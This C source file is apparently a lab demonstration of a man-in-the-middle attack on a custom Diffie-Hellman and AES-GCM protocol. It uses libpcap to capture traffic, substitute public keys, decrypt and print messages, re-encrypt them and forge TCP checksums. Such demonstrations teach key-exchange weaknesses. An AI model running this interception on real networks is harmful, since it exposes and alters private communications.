dhcrypto/MITM/MITM.c
2022-06-13 03:53:40 +00:00

275 lines
8.2 KiB
C

#include <pcap.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <net/ethernet.h>
#include "Diffie_hellman.c"
#define MAXBYTES2CAPTURE 2048
typedef struct{
unsigned char client_ip[16];
unsigned char server_ip[16];
pcap_t *p;
}ip_rule;
struct psd_header{
unsigned int saddr;
unsigned int daddr;
char mbz;
char ptcl;
unsigned short tcpl;
};
Mim_key dh_key;
unsigned char server_mac[]={0x00,0x0c,0x29,0x83,0xfc,0xdf};
unsigned char client_mac[]={0x00,0x0c,0x29,0xb5,0x23,0x98};
unsigned char self_mac[]={0x00, 0x0c, 0x29, 0x07, 0x31, 0x61};
//计算tcp校验和
uint16_t calc_checksum(void *pkt, int len) {
uint16_t *buf = (uint16_t*)pkt;
uint32_t checksum = 0;
while (len > 1)
{
checksum += *buf++;
checksum = (checksum >> 16) + (checksum & 0xffff);
len -= 2;
}
if (len)
{
checksum += *((uint8_t*)buf);
checksum = (checksum >> 16) + (checksum & 0xffff);
}
return (uint16_t)((~checksum) & 0xffff);
}
//伪造
void set_psdheader(struct psd_header* ph,struct iphdr *ip, uint16_t tl){
ph->saddr=ip->saddr;
ph->daddr=ip->daddr;
ph->mbz=0;
ph->ptcl=6;
ph->tcpl=htons(tl);
}
//捕包
void tcp_callback(u_char *arg, const struct pcap_pkthdr* pkthdr, const u_char * packet){
struct ether_header *ethernet;
struct iphdr *ip;
struct tcphdr *tcp;
char srcip_str[16];
int hdr_len = ETHER_HDR_LEN + sizeof(struct iphdr) + sizeof(struct tcphdr) + 12;
int dl=pkthdr->len-hdr_len;
memset(srcip_str,0,16);
ip_rule * ip_r=(ip_rule*)arg;
//数据帧头部
ethernet = (struct ether_header*)(packet);
//ip头部
ip = (struct iphdr*)(packet + ETHER_HDR_LEN);
//tcp头部
tcp = (struct tcphdr*)(packet + ETHER_HDR_LEN+ sizeof(struct iphdr));
inet_ntop(AF_INET,&(ip->saddr),srcip_str,16);
memcpy(ethernet->ether_shost, self_mac, 6);
//处理服务器端发送的信息
if(strncmp(srcip_str, ip_r->server_ip, strlen(srcip_str))==0)
{
//模
if(strncmp(packet+hdr_len,"pri",3)==0)
{
mpz_set_str(dh_key.prime, packet+hdr_len+3, 16);
}
else if(strncmp(packet+hdr_len,"data",4)==0)
{
char *buff=packet+hdr_len;
char *plain=(char*)malloc(dl-48);
bzero(plain, sizeof(buff));
char key_string[128],key_value[32];
mpz_get_str(key_string, 16, dh_key.key_for_server);
memcpy(key_value, str2hex(key_string), sizeof(key_value));
//解密
unsigned char iv[12],add[16],tag[16];
memcpy(add,buff+4,16);
memcpy(iv,buff+16+4,12);
memset(tag,0,16);
int tmp=aes_gcm_ad(key_value, 32,iv, 12,buff+44+4, dl-44-4,add, 16,tag, plain);
printf("[server]%s",plain);
//加密
bzero(key_string, sizeof(key_string));
mpz_get_str(key_string, 16, dh_key.key_for_client);
memcpy(key_value, str2hex(key_string), sizeof(key_value));
tmp=aes_gcm_ae(key_value, 32,iv,12,plain,dl-48,add, 16,buff+44+4, tag);
//伪造tcp头
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
struct psd_header ph;
bzero(data_for_checksum, tcp_len+sizeof(ph));
set_psdheader(&ph, ip, tcp_len);
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
tcp->check=0;
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
uint16_t cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
tcp->check=cs;
}
else if(strncmp(packet+hdr_len,"pub",3)==0)
{
mpz_t key_from_s;
mpz_init(key_from_s);
mpz_set_str(key_from_s,packet+hdr_len+3,16);
mpz_powm(dh_key.key_for_server, key_from_s, dh_key.private_key, dh_key.prime);
unsigned char pub[64];
mpz_get_str(pub,16,dh_key.public_key);
memcpy(packet+hdr_len+3,pub,sizeof(pub));
//伪造tcp头
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
struct psd_header ph;
bzero(data_for_checksum, tcp_len+sizeof(ph));
set_psdheader(&ph, ip, tcp_len);
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
tcp->check=0;
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
unsigned short cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
tcp->check=cs;
}
memcpy(ethernet->ether_dhost,client_mac,6);
}
//处理客户端
else
{
if(strncmp(packet+hdr_len,"data",4)==0)
{
//decrypt
char *buff=packet+hdr_len;
char *plain=(char*)malloc(dl-48);
bzero(plain, sizeof(buff));
char key_string[128],key_value[32];
mpz_get_str(key_string, 16, dh_key.key_for_client);
memcpy(key_value, str2hex(key_string), sizeof(key_value));
//解密
unsigned char iv[12],add[16],tag[16];
memcpy(add,buff+4,16);
memcpy(iv,buff+16+4,12);
memset(tag,0,16);
int tmp=aes_gcm_ad(key_value, 32,iv, 12,buff+44+4, dl-44-4,add, 16,tag, plain);
printf("[client]%s",plain);
//加密
bzero(key_string, sizeof(key_string));
mpz_get_str(key_string, 16, dh_key.key_for_server);
memcpy(key_value, str2hex(key_string), sizeof(key_value));
tmp=aes_gcm_ae(key_value, 32,iv,12,plain,dl-48,add, 16,buff+44+4, tag);
//伪造
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
struct psd_header ph;
bzero(data_for_checksum, tcp_len+sizeof(ph));
set_psdheader(&ph, ip, tcp_len);
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
tcp->check=0;
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
uint16_t cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
tcp->check=cs;
}
else if(strncmp(packet+hdr_len,"pub",3)==0)
{
unsigned char pub[64];
generate_key(32,&dh_key);
mpz_t key_from_c;
mpz_init(key_from_c);
mpz_set_str(key_from_c,packet+hdr_len+3,16);
mpz_powm(dh_key.key_for_client, key_from_c, dh_key.private_key, dh_key.prime);
mpz_powm(dh_key.public_key, dh_key.base, dh_key.private_key, dh_key.prime);
memcpy(ethernet->ether_dhost,server_mac,6);
mpz_get_str(pub,16,dh_key.public_key);
memcpy(packet+hdr_len+3,pub,sizeof(pub));
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
struct psd_header ph;
bzero(data_for_checksum, tcp_len+sizeof(ph));
set_psdheader(&ph, ip, tcp_len);
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
tcp->check=0;
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
uint16_t cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
tcp->check=cs;
}
memcpy(ethernet->ether_dhost,server_mac,6);
}
pcap_sendpacket(ip_r->p,packet,pkthdr->len);
return;
}
/* main(): Main function. Opens network interface and calls pcap_loop() */
int main(int argc, char *argv[] ){
int i=0, count=0;
pcap_t *descr = NULL;
char errbuf[PCAP_ERRBUF_SIZE], *device=NULL;
struct bpf_program filter;
memset(errbuf,0,PCAP_ERRBUF_SIZE);
init_numbers(&dh_key);
mpz_set_ui(dh_key.base, (unsigned long)2);
dh_key.urand = fopen("/dev/urandom","r");
//获得网卡信息
if ( (device = pcap_lookupdev(errbuf)) == NULL)
{
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(1);
}
printf("Opening device %s\n", device);
//打开网卡
if ( (descr = pcap_open_live(device, MAXBYTES2CAPTURE, 1, 512, errbuf)) == NULL)
{
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(1);
}
//设置过滤信息
char rule[128];
memset(rule,0,128);
strncat(rule,"(src host ",10);
strncat(rule,argv[1],strlen(argv[1]));
strncat(rule," and dst host ",14);
strncat(rule,argv[2],strlen(argv[2]));
strncat(rule,") or (src host ",15);
strncat(rule,argv[2],strlen(argv[2]));
strncat(rule," and dst host ",14);
strncat(rule,argv[1],strlen(argv[1]));
strncat(rule, ")", 1);
if(pcap_compile(descr,&filter,rule,1,0)<0)
{
printf("error\n");
return 0;
}
if(pcap_setfilter(descr,&filter)<0)
{
printf("error\n");
return 0;
}
ip_rule ip_r;
ip_r.p=descr;
memset(ip_r.client_ip,0,15);
memcpy(ip_r.client_ip, argv[1],strlen(argv[1]));
memset(ip_r.server_ip,0,15);
memcpy(ip_r.server_ip, argv[2],strlen(argv[2]));
//循环捕包
if (pcap_loop(descr, -1, tcp_callback, (u_char *) &ip_r) == -1)
{
fprintf(stderr, "ERROR: %s\n", pcap_geterr(descr) );
exit(1);
}
return 0;
}